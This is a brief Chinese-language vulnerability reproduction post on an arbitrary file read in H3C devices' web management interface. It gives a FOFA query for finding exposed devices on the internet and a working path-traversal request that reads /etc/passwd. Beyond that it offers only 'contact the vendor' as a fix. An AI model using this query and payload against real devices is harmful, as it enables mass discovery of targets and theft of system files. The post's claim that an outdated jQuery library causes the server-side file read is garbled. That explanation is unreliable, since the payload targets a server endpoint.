【漏洞复现】H3C Web网管登录任意文件读取漏洞

Nx01 产品简介 H3C设备的Web网管是指H3C公司生产的网络设备的网络管理界面。它可以通过Web浏览器进行访问和操作,以实现对网络设备的配置、管理和监控。 Nx02 漏洞描述 jquery旧版本存在任意文件读取

Nx01 产品简介

        H3C设备的Web网管是指H3C公司生产的网络设备的网络管理界面。它可以通过Web浏览器进行访问和操作,以实现对网络设备的配置、管理和监控。

Nx02 漏洞描述

        jquery旧版本存在任意文件读取漏洞,允许攻击者在受害者的服务器上读取任意文件。H3CWeb网管部分使用过时的jquery版本导致存在任意文件读取漏洞。

Nx03 产品主页

fofa-query: body="/webui/js/jquerylib/jquery-1.7.2.min.js"

Nx04 漏洞复现

POC:

/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd

Nx05 修复建议

建议联系软件厂商进行处理。

发布者:admin,转转请注明出处:http://www.yc00.com/web/1740414183a4240629.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信